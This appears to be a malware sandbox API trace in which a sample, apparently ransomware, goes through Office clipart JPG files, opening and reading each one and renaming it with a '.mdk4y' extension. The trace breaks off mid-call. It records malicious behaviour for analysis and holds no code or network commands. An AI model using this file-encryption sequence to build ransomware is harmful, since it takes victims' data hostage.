[0168.861] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824409200000) returned 1 [0168.862] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2cdd, lpOverlapped=0x0) returned 1 [0168.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824411500000) returned 1 [0168.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824411500000) returned 1 [0168.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.mdk4y")) returned 1 [0168.887] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.887] AreFileApisANSI () returned 1 [0168.887] GetACP () returned 0x4e4 [0168.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341439.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341439.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.887] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824411700000) returned 1 [0168.887] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c6d, lpOverlapped=0x0) returned 1 [0168.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824412300000) returned 1 [0168.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824412300000) returned 1 [0168.894] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.mdk4y")) returned 1 [0168.895] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.895] AreFileApisANSI () returned 1 [0168.895] GetACP () returned 0x4e4 [0168.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341447.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341447.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.895] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824412500000) returned 1 [0168.896] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ad8, lpOverlapped=0x0) returned 1 [0168.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824412900000) returned 1 [0168.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824412900000) returned 1 [0168.899] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.mdk4y")) returned 1 [0168.900] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.900] AreFileApisANSI () returned 1 [0168.900] GetACP () returned 0x4e4 [0168.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341448.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341448.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.900] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824413000000) returned 1 [0168.900] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x52c3, lpOverlapped=0x0) returned 1 [0168.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824413400000) returned 1 [0168.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824413400000) returned 1 [0168.904] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.mdk4y")) returned 1 [0168.905] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.905] AreFileApisANSI () returned 1 [0168.905] GetACP () returned 0x4e4 [0168.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341455.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341455.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.905] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824413600000) returned 1 [0168.906] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7457, lpOverlapped=0x0) returned 1 [0168.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824414100000) returned 1 [0168.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824414100000) returned 1 [0168.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.mdk4y")) returned 1 [0168.913] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.913] AreFileApisANSI () returned 1 [0168.913] GetACP () returned 0x4e4 [0168.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341475.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341475.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824414300000) returned 1 [0168.913] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa9e2, lpOverlapped=0x0) returned 1 [0168.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824415500000) returned 1 [0168.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824415500000) returned 1 [0168.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.mdk4y")) returned 1 [0168.927] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.927] AreFileApisANSI () returned 1 [0168.927] GetACP () returned 0x4e4 [0168.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341499.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341499.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.927] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824415700000) returned 1 [0168.928] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3ee3, lpOverlapped=0x0) returned 1 [0168.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824416300000) returned 1 [0168.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824416300000) returned 1 [0168.934] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.mdk4y")) returned 1 [0168.934] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.935] AreFileApisANSI () returned 1 [0168.935] GetACP () returned 0x4e4 [0168.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341534.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341534.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.935] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824416500000) returned 1 [0168.935] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f8a, lpOverlapped=0x0) returned 1 [0168.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824417200000) returned 1 [0168.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824417300000) returned 1 [0168.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.mdk4y")) returned 1 [0168.944] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.944] AreFileApisANSI () returned 1 [0168.944] GetACP () returned 0x4e4 [0168.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341551.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341551.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.945] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824417500000) returned 1 [0168.945] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5a56, lpOverlapped=0x0) returned 1 [0168.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824418100000) returned 1 [0168.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824418100000) returned 1 [0168.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.mdk4y")) returned 1 [0168.953] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.953] AreFileApisANSI () returned 1 [0168.953] GetACP () returned 0x4e4 [0168.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341554.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341554.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.953] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824418400000) returned 1 [0168.954] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6f43, lpOverlapped=0x0) returned 1 [0168.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824419600000) returned 1 [0168.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824419600000) returned 1 [0168.967] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.mdk4y")) returned 1 [0168.968] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.968] AreFileApisANSI () returned 1 [0168.968] GetACP () returned 0x4e4 [0168.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341557.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341557.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.968] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824419900000) returned 1 [0168.969] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6aa8, lpOverlapped=0x0) returned 1 [0168.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824421500000) returned 1 [0168.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824421500000) returned 1 [0168.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.mdk4y")) returned 1 [0168.988] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.989] AreFileApisANSI () returned 1 [0168.989] GetACP () returned 0x4e4 [0168.989] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341559.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341559.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.989] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824421900000) returned 1 [0168.989] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6873, lpOverlapped=0x0) returned 1 [0169.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824423600000) returned 1 [0169.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824423600000) returned 1 [0169.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.mdk4y")) returned 1 [0169.008] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.008] AreFileApisANSI () returned 1 [0169.008] GetACP () returned 0x4e4 [0169.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341561.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341561.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.008] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824423800000) returned 1 [0169.009] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa497, lpOverlapped=0x0) returned 1 [0169.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824424000000) returned 1 [0169.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824424000000) returned 1 [0169.011] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.mdk4y")) returned 1 [0169.012] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.012] AreFileApisANSI () returned 1 [0169.012] GetACP () returned 0x4e4 [0169.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341634.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341634.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.012] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824424300000) returned 1 [0169.013] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e7b, lpOverlapped=0x0) returned 1 [0169.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824424400000) returned 1 [0169.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824424400000) returned 1 [0169.015] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.mdk4y")) returned 1 [0169.016] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.016] AreFileApisANSI () returned 1 [0169.016] GetACP () returned 0x4e4 [0169.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341636.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341636.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.016] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824424700000) returned 1 [0169.017] ReadFile 